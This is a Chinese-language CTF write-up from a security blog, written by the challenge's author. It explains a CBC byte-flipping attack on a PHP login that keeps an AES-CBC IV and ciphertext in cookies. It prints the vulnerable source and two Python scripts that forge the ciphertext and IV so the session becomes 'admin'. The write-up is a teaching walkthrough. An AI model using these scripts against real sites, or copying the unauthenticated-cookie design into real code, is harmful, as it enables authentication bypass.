p0's blog | 破 关注网络安全
CBC字节翻转攻击
发表于: | 分类: CTF | 评论:0 | 阅读: 2727

前言

是我针对山东科技大学校赛暨青岛高校邀请赛出的一道题目,竟然没人做出来,难受3秒钟-.-

解析

首先由vim不正常推出产生的文件.index.php.swpvim -r获取源码:

<?php
define("SECRET_KEY", file_get_contents('/root/key'));
define("METHOD", "aes-128-cbc");
session_start();

function get_random_iv(){
    $random_iv='';
    for($i=0;$i<16;$i++){
        $random_iv.=chr(rand(1,255));
    }
    return $random_iv;
}

function login($info){
    $iv = get_random_iv();
    $plain = serialize($info);
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    $_SESSION['username'] = $info['username'];
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
}

function check_login(){
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
        $cipher = base64_decode($_COOKIE['cipher']);
        $iv = base64_decode($_COOKIE["iv"]);
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
            $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
            $_SESSION['username'] = $info['username'];
        }else{
            die("ERROR!");
        }
    }
}

function show_homepage(){
    if ($_SESSION["username"]==='admin'){
        echo $flag;
    }else{
        echo '<p>hello '.$_SESSION['username'].'</p>';
        echo '<p>Only admin can see flag</p>';
    }
    echo '<p><a href="loginout.php">Log out</a></p>';
}

if(isset($_POST['username']) && isset($_POST['password'])){
    $username = (string)$_POST['username'];
    $password = (string)$_POST['password'];
    if($username === 'admin'){
        exit('<p>admin are not allowed to login</p>');
    }else{
        $info = array('username'=>$username,'password'=>$password);
        login($info);
        show_homepage();
    }
}else{
    if(isset($_SESSION["username"])){
        check_login();
        show_homepage();
    }else{
        echo '<body class="login-body">
                <div id="wrapper">
                    <div class="user-icon"></div>
                    <div class="pass-icon"></div>
                    <form name="login-form" class="login-form" action="" method="post">
                        <div class="header">
                        <h1>Login Form</h1>
                        <span>Fill out the form below to login to my super awesome imaginary control panel.</span>
                        </div>
                        <div class="content">
                        <input name="username" type="text" class="input username" value="Username" onfocus="this.value=\'\'" />
                        <input name="password" type="password" class="input password" value="Password" onfocus="this.value=\'\'" />
                        </div>
                        <div class="footer">
                        <input type="submit" name="submit" value="Login" class="button" />
                        </div>
                    </form>
                </div>
            </body>';
    }
}
?>

登录用户名如果为admin则输出flag,但是禁止了admin登录,这里就要用到CBC字节翻转攻击。相关知识请参考:

http://cb.drops.wiki/drops/tips-7828.html

这里把登录的用户名及其密码存入数组,序列化后进行AES-CBC模式的加密,其中iv,和密文以cookie储存,可以控制,导致存在攻击的可能。

下面具体讲解攻击过程,当然前提需要你对分组密码工作模式有一定了解,并且知道并理解CBC翻转攻击。
我们使用skctf,skctf登录(因为我们翻转目标是admin,所以登录的用户名最好也是五位),登录后被存入数组然后序列化变成:a:2:{s:8:"username";s:5:"skctf";s:8:"password";s:5:"skctf";},也就是明文,翻转目标为:a:2:{s:8:"username";s:5:"admin";s:8:"password";s:5:"skctf";}

一图胜千言

cbc1.png

  1. 首先将明文分成16字节的四组:

    • a:2:{s:8:"userna
    • me";s:5:"skctf";
    • s:8:"password";s
    • :5:"skctf";}
  2. 根据CBC攻击原理,只需修改第一组密文对应第二组'skctf'的位置的密文,就可以实现第二组明文的改变。即第10-14位。
  3. 利用下面脚本重新生成密文

       # -*- coding: utf-8 -*-
       import base64
       cipher = 'EvX06IpeOJ9iTJ7J1L9iP7ymKC1Phg7KySWJP0ZbAtlwVMnniIkdvRH60+BY5g+8i0WKbQvgJIZVbGsQGTzH5A=='.decode('base64')
       old = "me\";s:5:\"skctf\";"
       new = "me\";s:5:\"admin\";"
       
       for i in xrange(16):
           cipher = cipher[:i] + chr(ord(cipher[i]) ^ ord(old[i]) ^ ord(new[i])) + cipher[i+1:]
       
       print cipher.encode('base64').strip()
    

根据CBC加密原理,修改第一块的密文可以达到修改第二块密文的效果,但同时也破坏了第一块的明文,接下来就是将第一块的数据恢复。
用上面生成的密文修改cookie:cipher,访问,返回:

cbc2.png

正好获取到第一次翻转后的明文,可以通过修改IV来修改第一块的明文:

cbc3.png

可以利用下面的脚本重新生成IV:

# -*- coding: utf-8 -*-
import base64

plain = 'tjxwLb7ntUZzvvEfoiiKKG1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6InNrY3RmIjt9'.decode('base64')
iv = 'in+Lglg80v0qJ2PW/c11pg=='.decode('base64')

old = plain[:16]
new = "a:2:{s:8:\"userna";
for i in xrange(16):
    iv = iv[:i] + chr(ord(iv[i]) ^ ord(old[i]) ^ ord(new[i])) + iv[i+1:]

print iv.encode('base64').strip()

生成IV修改cookie:iv,访问即可获得flag:

cbc4.png


著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:p0
链接:https://p0sec.net/index.php/archives/99/
来源:https://p0sec.net/

添加新评论

TOP